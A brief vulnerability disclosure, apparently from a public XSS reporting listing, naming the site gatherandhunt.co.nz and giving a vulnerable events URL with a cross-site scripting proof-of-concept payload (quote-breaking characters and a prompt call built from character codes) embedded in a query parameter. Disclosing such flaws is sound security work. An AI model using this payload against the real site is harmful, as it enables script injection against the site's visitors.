gatherandhunt.co.nz XSS vulnerability

Vulnerable URL: http://gatherandhunt.co.nz/events/?m=12=2015'%22%26%25promptString.fromCharCode88, 83, 83, 80, 79, 83, 69, 68...